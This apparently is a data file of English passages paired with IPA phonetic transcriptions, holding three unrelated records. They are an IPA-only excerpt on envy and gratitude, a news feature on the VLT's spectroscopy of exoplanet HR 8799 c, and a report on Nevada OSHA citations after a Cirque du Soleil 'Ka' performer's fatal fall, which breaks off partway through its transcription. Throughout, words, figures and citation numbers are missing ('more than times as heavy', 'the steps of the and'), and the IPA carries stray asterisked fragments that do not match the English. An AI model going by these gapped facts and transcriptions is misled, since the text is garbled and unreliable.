ˈiˌmoʊʃənəl ˈɑpəzɪt, ˈɛnvi. ˈsəmˌtaɪmz ə flæʃ əv ˈɛnvi kən bi ə ˈhɛlpfəl saɪn, ə spər ðət tɛlz ju, "ju noʊ, ju ˈrɪli wɔnt ðɪs traɪ fər ɪt." bət ˈvɛri ˈɔfən, ðə ˈɛnviəs ˈpərsən siz ˈsəmθɪŋ ˈwəndərfəl ɪn ðə wərld, ənd ˌɪnˈstɛd əv əˈpriʃiˌeɪtɪŋ ɪt, əˈtɛmpts tɪ meɪk ðə ˈɛnviəs ˈfilɪŋ goʊ əˈweɪ, baɪ dɪˈvæljuɪŋ ər dɪˈnaɪɪŋ ɪts wərθ (ðoʊz greɪps wər saʊər, ˈɛniˌweɪ); ər hi ər ʃi meɪ traɪ tɪ spɔɪl ər dɪˈstrɔɪ ðə ˈɛnvid ˈɑbʤɛkt ɪn ˌriˈæləˌti. ɪf wən dɪz ðɪs ɪˈnəf, wən ɛndz əp ˈfilɪŋ stɑrvd, bɪˈkəz wən faɪndz ˌwənˈsɛlf ˈlɪvɪŋ ɪn ən ˈɛmtid wərld. ˈɛnvi dɪˈstrɔɪz ðə ˌpɑsəˈbɪləˌti əv ləv; kənˈfrəntɪd baɪ ə ˈʧɛrɪʃt, aɪˈdiəˌlaɪzd ˈɑbʤɛkt əv ɑr əˈfɛkʃən, ˈɛnvi ˈkænɑt ˈtɑlərˌeɪt ðə ˈgʊdnɪs ɪn ðɛm, ənd siks tɪ dɪˈstrɔɪ ðɛm; ənd ˈɛnvi dɪz soʊ baɪ fərst ˈəndərˌmaɪnɪŋ ˈɛni ˈfilɪŋz əv wi maɪt hæv fər ðət ˈpərsən. ðə ˈɛnviəs hæv ə ˌpɑrˈtɪkjələrli hɑrd taɪm groʊɪŋ oʊld ənd daɪɪŋ. ðeɪ ˈkænɑt ˈtɑlərˌeɪt ðə fækt ðət ðə jəŋ, ənd nɑt ðeɪ, hæv ðɛr lɪvz ˌbiˈfɔr ðɛm. ðeɪ fil peɪn, ənd ˈɛmtinəs. wi spik əv ˈpipəl biɪŋ kənˈsumd wɪθ ˈɛnvi bət fɪld wɪθ ˈgrætəˌtud. ɪts ˌpɛrəˈdɑksɪkəl ðət, baɪ ækˈnɑlɪʤɪŋ ðət ðɛr ər ˈwəndərfəl θɪŋz ɪn ðə wərld, ənd ðət wi ər ˌɪnkəmˈplit, wi kən fil fɪld əp ˈivɪn ɛz wi bɪd ðə wərld ˌfɛrˈwɛl. mɪz. ˈɛdgər toʊld mi ðət hər ˈeɪθiəst frɛnd ˈsəmˌtaɪmz laɪkt tɪ bi rɛd, əv ɔl θɪŋz, ðə ˈbaɪbəl. wɪn aɪ θɪŋk əv ˈɑlɪvərz læst deɪz, aɪ θɪŋk əv ə ˈbɪblɪkəl ˈsɛntəns ðət aɪv ˈɔlˌweɪz faʊnd ˌɪnˈstrəktɪv ɪn ðə ˈtuˈfoʊld ɑrt əv ˈlɪvɪŋ ənd daɪɪŋ. ɪt ridz, "ənd ˈeɪbrəˌhæm daɪd fʊl əv jɪrz." nɑt ˈɛmtid əv ðɛm; fɪld baɪ ðɛm. ˈnɔrmən dɔɪʤ, md*, ɪz ɪz ðə ˈɔθər əv ðə breɪn ðət ˈʧeɪnʤɪz ˌɪtˈsɛlf ənd əv ðə ɪkˈspændɪd ˈpeɪpərˌbæk ɪˈdɪʃən əv ðə breɪnz weɪ əv ˈhilɪŋ. mɔr frəm ðə gloʊb ənd meɪl ʤin ˈkəmfərt ənd ʤɔɪ: 'wət wi hæv tɪ du ɪz faɪnd ðə ˈpleɪsɪz əv hoʊp' ʤin væˈniər kriˈeɪtɪd ə juˈnik kəmˈjunɪti fər ˈmɛnəli dɪˈseɪbəld ˈædəlts tɪ ˈnərʧər ə ˈdɪfərənt kaɪnd əv laɪf: wən ˈfoʊkɪst ɔn kəˈnɛkʃən ˈrəðər ðən ˈkɑmərs. mɔr ðən 50 jɪrz ˈleɪtər, ˈiən braʊn wɛnt ɔn ə ˈʤərni tɪ ˌəndərˈstænd haʊ ˈsɪmpli ədˈmɪtɪŋ ɑr ˈwiknəsɪz kən meɪk ˈjuˈɛs strɔŋ. |
its atmosphere is hot, with temperatures generally hovering around 800 degrees celsius (1,470 degrees fahrenheit) -- in the shade. the air is filled with billowing clouds of highly toxic gas.
anyone setting foot on this faraway planet would die a speedy death. nevertheless, the recently launched study of 8799 c is a breakthrough in the search for extraterrestrial life.
astronomers unveiled a groundbreaking achievement in the field of last week. by measuring the spectrum of light coming from 8799 c, they have managed to determine the chemical composition of its atmosphere. "for the first time, we have directly obtained the spectrum of a planet outside our solar system," says study wolfgang brandner of the max planck institute for astronomy in heidelberg.
nowadays, the discovery of planets outside our solar system has become practically routine. in recent years, scientists have discovered more than 400 of these so-called exoplanets. but in most cases, their existence could only be proven indirectly, for example, by virtue of the fact that they cause a slight weakening in the light emitted by a much brighter star.
mechanical ballet
only with the help of the world's most advanced observatory, and the "very large telescope" (vlt), did it become possible to directly capture the weak light coming from a planet and analyzing it using spectroscopy. the massive telescope is located on a (8,528-foot) peak in chile's atacama desert.
after nightfall, the robotic eyes come to life on the mountain, known as cerro. four giant domes, as outlandish as the stone sculptures on easter island, are silhouetted against the evening sky. the steel giants begin moving almost inaudibly, as the domes, each a maze of cables and supports, ladders and steps, perform a mechanical ballet.
each of the four main mirrors has a diameter of more than eight meters. they are the most sensitive devices designed to peer at the sky ever built by human hands, so powerful that they could pinpoint the light coming from a car headlight on the moon. one of their most important objectives is the search for a second earth -- and for extraterrestrial life in space.
"what we are currently experiencing is the emergence of a new conception of the world," says michael sterzik, "comparable to the sea change that occurred when copernicus described how the earth revolves around the sun." the astrophysicist climbs down the steps of the and locks the door from the outside. his presence would only disturb the images. he is the head of operations at the european southern observatory (eso), which operates the as part of a consortium of 14 european countries.
life in the universe
the atacama desert is one of the driest places on the planet, which makes it ideal for obtaining a clear view into outer space. to avoid disturbing the measurements at the observatory, drivers are required to shut off their headlights and crawl, with only their parking lights turned on, up the serpentine access road, which is lined with nothing but reflectors. in october, planet hunter brandner spent four nights at the observatory to align the telescopes with 8799 c. "it is now possible to control many observations via the internet," he says, "but our project was so experimental that we had to be all the time."
the late summer heat is currently shimmering above the giant, artificial eye. the telescope mirrors have to be every 18 months because of the abrasive effect of dust storms. there is no sound of birds singing, and the only sign of life comes from the desert plants that claw their way through the gravel. the extremely dry air, with humidity levels that are sometimes lower than 4 percent, burns the eyes and causes the skin to crack open.
the reddish, rocky desert around the seems strangely familiar, reminiscent of images taken on mars, a sterile, planet. ironically, it is in this inhospitable place that scientists are searching for life in the universe.
a tunnel leads down to the guesthouse, half of which is buried underground to protect against the brutal desert climate. tanker trucks deliver liters of drinking water every day. the building has the futuristic look of a space station.
living on cerro is everything but glamorous. the staff works at night and sleeps during the day. the nearest city is several hours away, and alcohol is banned at the facility.
astonishing results
the planet hunters working with wolfgang brandner were initially dogged by bad luck. first the sky was overcast, and then moist layers of air obscured the view. it was only during their last night at cerro that the scientists were lucky. for five hours, the telescope mirror followed the faraway planet as it moved across the sky in the constellation pegasus, invisible to the naked eye.
after a long night of observation, brandner had accumulated enough data to produce a portrait of the planet. his team packed their bags, flew home and went to work analyzing the data. the results were astonishing.
hr 8799 c is a young, hot giant planet, a cosmic teenager less than 60 million years old and more than times as heavy as the earth. but on images, the fiery giant looks more like a tiny, forlorn little dot in space. the planet is 130 light-years away from the earth, which means that the light being captured today has been traveling since 1880 and has been weakening ever since.
"capturing an image of it was almost impossible, because the star around which the planet revolves is brighter by several orders of magnitude," says sterzik. "for every particle of light coming from the planet, there are thousands coming from its central star." the astrophysicist likens the challenge to observing a candle burning next to a spotlight two kilometers away.
the chemical analysis of a hot giant using the has been technically possible for several years, but scientists had not found a suitable object worth observing -- until about a year ago, when a competing team from canada discovered the promising planetary system that includes 8799 c.
evidence of gas storms
when the researchers analyzed the chemical fingerprint of the young gas giant, they made a surprising discovery: the methane in the gas shield appears to be combined with unusually high levels of carbon monoxide. "carbon monoxide is normally found only in lower atmospheric layers and is thus invisible to us," brandner explains. "the fact that we see it around 8799 c could mean that there are violent storms raging on the planet."
the evidence of gas storms on the giant planet would be an important step in the search for extraterrestrial life forms. it would allow scientists to visualize the weather, climate and even seasons of an exoplanet. but the long-term goal is still to study a small planet with pleasant temperatures that resemble our earth. only when scientists are able to discover telltale traces of, for example, ozone or water vapor in the atmosphere of a planet will they have found signs of the possible existence of life.
but the smaller and colder a planet is, the more difficult it is to capture its light. even the is still only capable of detecting hot, giant objects.
to address this need, scientists at headquarters in garching, near munich, are already planning a successor to the that would be five times as big and many times as powerful: the "extremely large telescope" (elt). negotiations are currently underway with chile and the member countries.
a nearby mountaintop within view of cerro is already being investigated as a possible site for the -- a lifeless, windswept mound of rock that could serve as the starting point for finding life in the vast expanse of the universe. | ɪts ˈætməsˌfɪr ɪz hɑt, wɪθ ˈtɛmpərəʧərz ˈʤɛnərəli ˈhəvərɪŋ əraʊnd 800 dɪˈgriz ˈsɛlsiəs dɪˈgriz ˈfɛrənˌhaɪt) ɪn ðə ʃeɪd. ðə ɛr ɪz fɪld wɪθ ˈbɪloʊɪŋ klaʊdz əv ˈhaɪli ˈtɑksɪk gæs. ˈɛniˌwən ˈsɛtɪŋ fʊt ɔn ðɪs ˈfɑrəˈweɪ ˈplænət wʊd daɪ ə ˈspiˌdi dɛθ. ˌnɛvərðəˈlɛs, ðə ˈrisəntli lɔnʧt ˈstədi əv 8799 si ɪz ə ˈbreɪkθˌru ɪn ðə sərʧ fər ˌɛkstrətərˈɛstriəl laɪf. əˈstrɑnəmərz ənˈveɪld ə ˈgraʊnˌbreɪkɪŋ əˈʧivmənt ɪn ðə fild əv læst wik. baɪ ˈmɛʒərɪŋ ðə ˈspɛktrəm əv laɪt ˈkəmɪŋ frəm 8799 si, ðeɪ hæv ˈmænɪʤd tɪ dɪˈtərmən ðə ˈkɛmɪkəl ˌkɑmpəˈzɪʃən əv ɪts ˈætməsˌfɪr. "fər ðə fərst taɪm, wi hæv dɪˈrɛkli əbˈteɪnd ðə ˈspɛktrəm əv ə ˈplænət ˈaʊtˈsaɪd ɑr ˈsoʊlər ˈsɪstəm," sɪz ˈstədi ˈwʊlfˌgæŋ ˈbrændnər əv ðə mæks plæŋk ˈɪnstɪˌtut fər əˈstrɑnəmi ɪn ˈhaɪdəlbərg. ˈnaʊəˌdeɪz, ðə ˌdɪˈskəvri əv ˈplænəts ˈaʊtˈsaɪd ɑr ˈsoʊlər ˈsɪstəm həz bɪˈkəm ˈpræktɪkəli ruˈtin. ɪn ˈrisənt jɪrz, ˈsaɪəntɪsts hæv dɪˈskəvərd mɔr ðən 400 əv ðiz ˈsoʊˈkɔld exoplanets*. bət ɪn moʊst ˈkeɪsɪz, ðɛr ɪgˈzɪstəns kʊd ˈoʊnli bi ˈpruvən ˌɪndərˈɛkˌtli, fər ɪgˈzæmpəl, baɪ ˈvərʧu əv ðə fækt ðət ðeɪ kɔz ə slaɪt ˈwikənɪŋ ɪn ðə laɪt ɪˈmɪtɪd baɪ ə məʧ ˈbraɪtər stɑr. məˈkænɪkəl bæˈleɪ ˈoʊnli wɪθ ðə hɛlp əv ðə wərldz moʊst ədˈvænst əbˈzərvəˌtɔri, ənd ðə "ˈvɛri lɑrʤ ˈtɛləˌskoʊp" (vlt*), dɪd ɪt bɪˈkəm ˈpɑsəbəl tɪ dɪˈrɛkli ˈkæpʧər ðə wik laɪt ˈkəmɪŋ frəm ə ˈplænət ənd ˈænəˌlaɪzɪŋ ɪt ˈjuzɪŋ spɛkˈtrɑskəpi. ðə ˈmæsɪv ˈtɛləˌskoʊp ɪz ˈloʊˌkeɪtəd ɔn ə 8,528-foot*) pik ɪn ˈʧɪliz ˈɑtɑˌkɑmɑ ˈdɛzərt. ˈæftər ˈnaɪtˌfɔl, ðə ˌroʊˈbɑtɪk aɪz kəm tɪ laɪf ɔn ðə ˈmaʊntən, noʊn ɛz ˈsɛroʊ. fɔr ʤaɪənt doʊmz, ɛz aʊˈtlændɪʃ ɛz ðə stoʊn ˈskəlpʧərz ɔn ˈistər ˈaɪlənd, ər ˌsɪləˈwɛtɪd əˈgɛnst ðə ˈivnɪŋ skaɪ. ðə stil ʤaɪənts bɪˈgɪn ˈmuvɪŋ ˈɔlˌmoʊst ˌɪˈnɔdəbli, ɛz ðə doʊmz, iʧ ə meɪz əv ˈkeɪbəlz ənd səˈpɔrts, ˈlædərz ənd stɛps, pərˈfɔrm ə məˈkænɪkəl bæˈleɪ. iʧ əv ðə fɔr meɪn ˈmɪrərz həz ə daɪˈæmətər əv mɔr ðən eɪt ˈmitərz. ðeɪ ər ðə moʊst ˈsɛnsɪtɪv dɪˈvaɪsɪz dɪˈzaɪnd tɪ pɪr æt ðə skaɪ ˈɛvər bɪlt baɪ ˈjumən hænz, soʊ ˈpaʊərfəl ðət ðeɪ kʊd ˈpɪnˌpɔɪnt ðə laɪt ˈkəmɪŋ frəm ə kɑr ˈhɛˌdlaɪt ɔn ðə mun. wən əv ðɛr moʊst ˌɪmˈpɔrtənt əˈbʤɛktɪvz ɪz ðə sərʧ fər ə ˈsɛkənd ərθ ənd fər ˌɛkstrətərˈɛstriəl laɪf ɪn speɪs. "wət wi ər ˈkərəntli ɪkˈspɪriənsɪŋ ɪz ðə ˈimərʤəns əv ə nu kənˈsɛpʃən əv ðə wərld," sɪz ˈmaɪkəl sterzik*, "ˈkɑmprəbəl tɪ ðə si ʧeɪnʤ ðət əˈkərd wɪn kəˈpərnəkəs dɪˈskraɪbd haʊ ðə ərθ riˈvɑlvz əraʊnd ðə sən." ðə ˌæstroʊˈfɪsɪsɪst klaɪmz daʊn ðə stɛps əv ðə ənd lɑks ðə dɔr frəm ðə ˈaʊtˈsaɪd. hɪz ˈprɛzəns wʊd ˈoʊnli dɪˈstərb ðə ˈɪmɪʤɪz. hi ɪz ðə hɛd əv ˌɑpərˈeɪʃənz æt ðə ˌjʊrəˈpiən ˈsəðərn əbˈzərvəˌtɔri (eso*), wɪʧ ˈɑpərˌeɪts ðə ɛz pɑrt əv ə kənˈsɔrʃjəm əv 14 ˌjʊrəˈpiən ˈkəntriz. laɪf ɪn ðə ˈjunəˌvərs ðə ˈɑtɑˌkɑmɑ ˈdɛzərt ɪz wən əv ðə draɪəst ˈpleɪsɪz ɔn ðə ˈplænət, wɪʧ meɪks ɪt aɪˈdil fər əbˈteɪnɪŋ ə klɪr vju ˈɪntu ˈaʊtər speɪs. tɪ əˈvɔɪd dɪˈstərbɪŋ ðə ˈmɛʒərmənts æt ðə əbˈzərvəˌtɔri, ˈdraɪvərz ər rikˈwaɪərd tɪ ʃət ɔf ðɛr ˈhɛˌdlaɪts ənd krɔl, wɪθ ˈoʊnli ðɛr ˈpɑrkɪŋ laɪts tərnd ɔn, əp ðə ˈsərpənˌtaɪn ˈækˌsɛs roʊd, wɪʧ ɪz laɪnd wɪθ ˈnəθɪŋ bət rɪˈflɛktərz. ɪn ɑkˈtoʊbər, ˈplænət ˈhəntər ˈbrændnər spɛnt fɔr naɪts æt ðə əbˈzərvəˌtɔri tɪ əˈlaɪn ðə ˈtɛləˌskoʊps wɪθ 8799 si. "ɪt ɪz naʊ ˈpɑsəbəl tɪ kənˈtroʊl ˈmɛni ˌɑbzərˈveɪʃənz ˈviə ðə ˈɪntərˌnɛt," hi sɪz, "bət ɑr ˈprɑʤɛkt wɑz soʊ ɪkˌspɛrɪˈmɛntəl ðət wi hæd tɪ bi ɔl ðə taɪm." ðə leɪt ˈsəmər hit ɪz ˈkərəntli ˈʃɪmərɪŋ əˈbəv ðə ʤaɪənt, ˌɑrtəˈfɪʃəl aɪ. ðə ˈtɛləˌskoʊp ˈmɪrərz hæv tɪ bi ˈɛvəri 18 mənθs bɪˈkəz əv ðə əˈbreɪsɪv ˈifɛkt əv dəst stɔrmz. ðɛr ɪz noʊ saʊnd əv bərdz ˈsɪŋɪŋ, ənd ðə ˈoʊnli saɪn əv laɪf kəmz frəm ðə ˈdɛzərt plænts ðət klɔ ðɛr weɪ θru ðə ˈgrævəl. ðə ɪkˈstrimli draɪ ɛr, wɪθ hjuˈmɪdəti ˈlɛvəlz ðət ər ˈsəmˌtaɪmz loʊər ðən 4 pərˈsɛnt, bərnz ðə aɪz ənd ˈkɔzɪz ðə skɪn tɪ kræk ˈoʊpən. ðə ˈrɛdɪʃ, ˈrɑki ˈdɛzərt əraʊnd ðə simz ˈstreɪnʤli fəˈmɪljər, ˌrɛməˈnɪsənt əv ˈɪmɪʤɪz ˈteɪkən ɔn mɑrz, ə ˈstɛrəl, ˈplænət. aɪˈrɑnɪkli, ɪt ɪz ɪn ðɪs ˌɪnˈhɑspɪtəbəl pleɪs ðət ˈsaɪəntɪsts ər ˈsərʧɪŋ fər laɪf ɪn ðə ˈjunəˌvərs. ə ˈtənəl lidz daʊn tɪ ðə ˈgɛˌsthaʊs, hæf əv wɪʧ ɪz ˈbɛrid ˈəndərˌgraʊnd tɪ prəˈtɛkt əˈgɛnst ðə ˈbrutəl ˈdɛzərt ˈklaɪmɪt. ˈtæŋkər trəks dɪˈlɪvər ˈlitərz əv ˈdrɪŋkɪŋ ˈwɔtər ˈɛvəri deɪ. ðə ˈbɪldɪŋ həz ðə fˌjuʧərˈɪstɪk lʊk əv ə speɪs ˈsteɪʃən. ˈlɪvɪŋ ɔn ˈsɛroʊ ɪz ˈɛvriˌθɪŋ bət ˈglæmərəs. ðə stæf wərks æt naɪt ənd slips ˈdʊrɪŋ ðə deɪ. ðə ˈnɪrəst ˈsɪti ɪz ˈsɛvərəl aʊərz əˈweɪ, ənd ˈælkəˌhɑl ɪz bænd æt ðə fəˈsɪlɪti. əˈstɑnɪʃɪŋ rɪˈzəlts ðə ˈplænət ˈhəntərz ˈwərkɪŋ wɪθ ˈwʊlfˌgæŋ ˈbrændnər wər ˌɪˈnɪʃəli dɔgd baɪ bæd lək. fərst ðə skaɪ wɑz ˈoʊvərˌkæst, ənd ðɛn mɔɪst leɪərz əv ɛr əbˈskjʊrd ðə vju. ɪt wɑz ˈoʊnli ˈdʊrɪŋ ðɛr læst naɪt æt ˈsɛroʊ ðət ðə ˈsaɪəntɪsts wər ˈləki. fər faɪv aʊərz, ðə ˈtɛləˌskoʊp ˈmɪrər ˈfɑloʊd ðə ˈfɑrəˈweɪ ˈplænət ɛz ɪt muvd əˈkrɔs ðə skaɪ ɪn ðə ˌkɑnstəˈleɪʃən ˈpɛgəsəs, ˌɪnˈvɪzəbəl tɪ ðə ˈneɪkəd aɪ. ˈæftər ə lɔŋ naɪt əv ˌɑbzərˈveɪʃən, ˈbrændnər hæd əˈkjumjəˌleɪtɪd ɪˈnəf ˈdætə tɪ ˈproʊdus ə ˈpɔrtrət əv ðə ˈplænət. hɪz tim pækt ðɛr bægz, flu hoʊm ənd wɛnt tɪ wərk ˈænəˌlaɪzɪŋ ðə ˈdætə. ðə rɪˈzəlts wər əˈstɑnɪʃɪŋ. 8799 si ɪz ə jəŋ, hɑt ʤaɪənt ˈplænət, ə ˈkɑzmɪk ˈtiˌneɪʤər lɛs ðən 60 ˈmɪljən jɪrz oʊld ənd mɔr ðən taɪmz ɛz ˈhɛvi ɛz ðə ərθ. bət ɔn ˈɪmɪʤɪz, ðə ˈfaɪəri ʤaɪənt lʊks mɔr laɪk ə ˈtaɪni, fərˈlɔrn ˈlɪtəl dɑt ɪn speɪs. ðə ˈplænət ɪz 130 ˈlaɪˌtjɪrz əˈweɪ frəm ðə ərθ, wɪʧ minz ðət ðə laɪt biɪŋ ˈkæpʧərd təˈdeɪ həz bɪn ˈtrævəlɪŋ sɪns 1880 ənd həz bɪn ˈwikənɪŋ ˈɛvər sɪns. "ˈkæpʧərɪŋ ən ˈɪmɪʤ əv ɪt wɑz ˈɔlˌmoʊst ˌɪmˈpɑsəbəl, bɪˈkəz ðə stɑr əraʊnd wɪʧ ðə ˈplænət riˈvɑlvz ɪz ˈbraɪtər baɪ ˈsɛvərəl ˈɔrdərz əv ˈmægnəˌtud," sɪz sterzik*. "fər ˈɛvəri ˈpɑrtɪkəl əv laɪt ˈkəmɪŋ frəm ðə ˈplænət, ðɛr ər ˈθaʊzənz ˈkəmɪŋ frəm ɪts ˈsɛntrəl stɑr." ðə ˌæstroʊˈfɪsɪsɪst ˈlaɪkənz ðə ˈʧælənʤ tɪ əbˈzərvɪŋ ə ˈkændəl ˈbərnɪŋ nɛkst tɪ ə ˈspɑˌtlaɪt tu ˈkɪləˌmitərz əˈweɪ. ðə ˈkɛmɪkəl æˈnælɪsɪs əv ə hɑt ʤaɪənt ˈjuzɪŋ ðə həz bɪn ˈtɛknɪkəli ˈpɑsəbəl fər ˈsɛvərəl jɪrz, bət ˈsaɪəntɪsts hæd nɑt faʊnd ə ˈsutəbəl ˈɑbʤɛkt wərθ əbˈzərvɪŋ ənˈtɪl əˈbaʊt ə jɪr əˈgoʊ, wɪn ə kəmˈpitɪŋ tim frəm ˈkænədə dɪˈskəvərd ðə ˈprɑməsɪŋ ˈplænəˌtɛri ˈsɪstəm ðət ˌɪnˈkludz 8799 si. ˈɛvədəns əv gæs stɔrmz wɪn ðə ˈrisərʧərz ˈænəˌlaɪzd ðə ˈkɛmɪkəl ˈfɪŋgərˌprɪnt əv ðə jəŋ gæs ʤaɪənt, ðeɪ meɪd ə səˈpraɪzɪŋ ˌdɪˈskəvri: ðə ˈmɛˌθeɪn ɪn ðə gæs ʃild əˈpɪrz tɪ bi kəmˈbaɪnd wɪθ ənˈjuˌʒuəli haɪ ˈlɛvəlz əv ˈkɑrbən məˈnɑksaɪd. "ˈkɑrbən məˈnɑksaɪd ɪz ˈnɔrməli faʊnd ˈoʊnli ɪn loʊər ˌætməsˈfɛrɪk leɪərz ənd ɪz ðəs ˌɪnˈvɪzəbəl tɪ ˈjuˈɛs," ˈbrændnər ɪkˈspleɪnz. "ðə fækt ðət wi si ɪt əraʊnd 8799 si kʊd min ðət ðɛr ər ˈvaɪələnt stɔrmz ˈreɪʤɪŋ ɔn ðə ˈplænət." ðə ˈɛvədəns əv gæs stɔrmz ɔn ðə ʤaɪənt ˈplænət wʊd bi ən ˌɪmˈpɔrtənt stɛp ɪn ðə sərʧ fər ˌɛkstrətərˈɛstriəl laɪf fɔrmz. ɪt wʊd əˈlaʊ ˈsaɪəntɪsts tɪ ˈvɪʒwəˌlaɪz ðə ˈwɛðər, ˈklaɪmɪt ənd ˈivɪn ˈsizənz əv ən exoplanet*. bət ðə ˈlɔŋˈtərm goʊl ɪz stɪl tɪ ˈstədi ə smɔl ˈplænət wɪθ ˈplɛzənt ˈtɛmpərəʧərz ðət rɪˈzɛmbəl ɑr ərθ. ˈoʊnli wɪn ˈsaɪəntɪsts ər ˈeɪbəl tɪ dɪˈskəvər ˈtɛlˌteɪl ˈtreɪsɪz əv, fər ɪgˈzæmpəl, ˈoʊˌzoʊn ər ˈwɔtər ˈveɪpər ɪn ðə ˈætməsˌfɪr əv ə ˈplænət wɪl ðeɪ hæv faʊnd saɪnz əv ðə ˈpɑsəbəl ɪgˈzɪstəns əv laɪf. bət ðə sˈmɔlər ənd ˈkoʊldər ə ˈplænət ɪz, ðə mɔr ˈdɪfəkəlt ɪt ɪz tɪ ˈkæpʧər ɪts laɪt. ˈivɪn ðə ɪz stɪl ˈoʊnli ˈkeɪpəbəl əv dɪˈtɛktɪŋ hɑt, ʤaɪənt ˈɑbʤɛkts. tɪ ˈæˌdrɛs ðɪs nid, ˈsaɪəntɪsts æt ˈhɛdˌkɔrtərz ɪn garching*, nɪr mˈjunɪk, ər ɔˈrɛdi ˈplænɪŋ ə səkˈsɛsər tɪ ðə ðət wʊd bi faɪv taɪmz ɛz bɪg ənd ˈmɛni taɪmz ɛz ˈpaʊərfəl: ðə "ɪkˈstrimli lɑrʤ ˈtɛləˌskoʊp" (elt*). nɪˌgoʊʃiˈeɪʃənz ər ˈkərəntli ˌəndərˈweɪ wɪθ ˈʧɪli ənd ðə ˈmɛmbər ˈkəntriz. ə ˈnɪrˈbaɪ ˈmaʊntənˌtɑp wɪˈθɪn vju əv ˈsɛroʊ ɪz ɔˈrɛdi biɪŋ ˌɪnˈvɛstəˌgeɪtɪd ɛz ə ˈpɑsəbəl saɪt fər ðə ə ˈlaɪfləs, ˈwɪnsˌwɛpt maʊnd əv rɑk ðət kʊd sərv ɛz ðə ˈstɑrtɪŋ pɔɪnt fər ˈfaɪndɪŋ laɪf ɪn ðə væst ɪkˈspæns əv ðə ˈjunəˌvərs. |
nevada osha has finished its investigation into the death of sarah, the cirque du soleil performer who fell 94 feet during the climactic scene of ka on june 29 and later died. osha determined that accident happened when the wire rope she was suspended from broke. according to the report, the wire rope “was severed due to the rapid ascent of the performer, ultimately causing the rope to be freed from the and scraping against a shear point.” osha officials cited cirque du soleil with six proposed citations and more than $25,000 in fines and mgm grand with three citations and a $7,000 fine. cirque du soleil and mgm are appealing the fines.
one of the citations for cirque du soleil includes a failure to “protect or prevent ‘ka’ employees from striking an overhead grid during the ‘ka’ show at the ‘ka’ theater.” reporting for the las vegas sun, john wrote that “this matches reports from those familiar with the ‘ka’ staging and fatal incident that did hit the metal grid over the stage as she ascended high above the final battle scene, which jarred the rope connecting her to her harness.” also reported that cirque du soleil will be appealing the fine:
in a statement that also referenced internal review of the incident, [cirque du soleil spokeswoman menard] said: “cirque du soleil completed an exhaustive review of its safety policies and procedures in the wake of the tragic accident involving sarah. we have redoubled our efforts to ensure the overall diligence and safety of our performers and crew. we have received and reviewed the osha citations. we have initiated the appeal process as part of administrative protocol. safety always has been the top priority for cirque du soleil, its performers and crew members.”
on the website, krista hostetler listed the citations osha has proposed. they are:
summary of cited violations
cirque du soleil:
- (1): a general duty citation was issued because the employer did not protect or prevent ka employees from striking an overhead grid during the ka show at the ka theater. $7,000 proposed penalty.
- the first part of the general duty citation was issued because the employer did not provide proper training for the ka battle spearman warrior employee involved in the accident in the use of equipment and tasks used in the ka show, battle scene at the ka theater.
- the second part was issued because the employer had a fall protection program with construction requirements that do not apply to theater settings because the ka theater is regulated by nevada osha general industry standards. $7,000 proposed penalty.
- 29: this citation was issued because the employer did not properly assess the workplace for hazards that required personal protective equipment at the ka theater, including floors, pathogens and other potentially infectious materials, pyrotechnic dust cleanup, and not finalizing a hazard assessment for the performers. $7,000 proposed penalty.
- 29: this citation was issued because the employer did not certify that a workplace hazard assessment had been performed and did not include the date the hazard assessments were conducted. $0 proposed penalty, grouped with the proposed citation above.
29: this citation was issued because the employer did not include on the osha form 300 log of injury and illnesses, the object or substance that directly injured or made a person ill, which prevented a trend analysis and kept the employer from recognizing and conducting employee training involving recurring injuries in accordance with nevada revised statute. $3,300 proposed penalty.
nevada revised statute: this citation was issued because the employer removed equipment from a fatality site on june 29 before nevada osha authorized the dismantling and removal of the equipment (38 feet of wire rope that was attached to the victim at the time of the accident). $935 proposed penalty.
mgm grand hotel & casino:
-: this general duty citation was issued because mgm grand employees were exposed to hazards due to deficiencies in the cirque du soleil fall protection program with construction requirements that do not apply to theater settings because the ka theater is regulated by nevada osha general industry standards.
- 29: this citation was issued because mgm grand employees were exposed to hazards due to the deficiencies in cirque du soleil hazard assessments for the ka theater that included floors, pathogens and other potentially infectious materials and pyrotechnic dust cleanup. $7,000 proposed penalty.
- 29: this citation was issued because mgm grand employees were exposed to hazards due to deficiencies in the cirque du soleil hazard assessments because cirque du soleil did not certify that a workplace hazard assessment had been performed and did not include the date the hazard assessments were conducted. $0 proposed penalty, grouped with the proposed citation above. | nəˈvɑdə ˈoʊʃə həz ˈfɪnɪʃt ɪts ˌɪnˌvɛstəˈgeɪʃən ˈɪntu ðə dɛθ əv ˈsɛrə, ðə sərk də soʊˈleɪl pərˈfɔrmər hu fɛl 94 fit ˈdʊrɪŋ ðə klaɪˈmæktɪk sin əv kɑ ɔn ʤun 29 ənd ˈleɪtər daɪd. ˈoʊʃə dɪˈtərmənd ðət ˈæksədənt ˈhæpənd wɪn ðə waɪər roʊp ʃi wɑz səˈspɛndɪd frəm broʊk. əˈkɔrdɪŋ tɪ ðə rɪˈpɔrt, ðə waɪər roʊp ˈsɛvərd du tɪ ðə ˈræpɪd əˈsɛnt əv ðə pərˈfɔrmər, ˈəltəmətli ˈkɔzɪŋ ðə roʊp tɪ bi frid frəm ðə ənd ˈskreɪpɪŋ əˈgɛnst ə ʃɪr point.”*.” ˈoʊʃə əˈfɪʃəlz ˈsaɪtɪd sərk də soʊˈleɪl wɪθ sɪks prəˈpoʊzd saɪˈteɪʃənz ənd mɔr ðən ɪn faɪnz ənd ˈɛmˈgiˈɛm grænd wɪθ θri saɪˈteɪʃənz ənd ə faɪn. sərk də soʊˈleɪl ənd ˈɛmˈgiˈɛm ər əˈpilɪŋ ðə faɪnz. wən əv ðə saɪˈteɪʃənz fər sərk də soʊˈleɪl ˌɪnˈkludz ə ˈfeɪljər tɪ ər prɪˈvɛnt ‘‘ka’*’ ɪmˈplɔɪiz frəm ˈstraɪkɪŋ ən ˈoʊvərˈhɛd grɪd ˈdʊrɪŋ ðə ‘‘ka’*’ ʃoʊ æt ðə ‘‘ka’*’ theater.”*.” rɪˈpɔrtɪŋ fər ðə ˈɛˈleɪˈɛs ˈveɪgəs sən, ʤɑn roʊt ðət ˈmæʧɪz rɪˈpɔrts frəm ðoʊz fəˈmɪljər wɪθ ðə ‘‘ka’*’ ˈsteɪʤɪŋ ənd ˈfeɪtəl ˈɪnsədənt ðət dɪd hɪt ðə ˈmɛtəl grɪd ˈoʊvər ðə steɪʤ ɛz ʃi əˈsɛndəd haɪ əˈbəv ðə ˈfaɪnəl ˈbætəl sin, wɪʧ ʤɑrd ðə roʊp kəˈnɛktɪŋ hər tɪ hər harness.”*.” 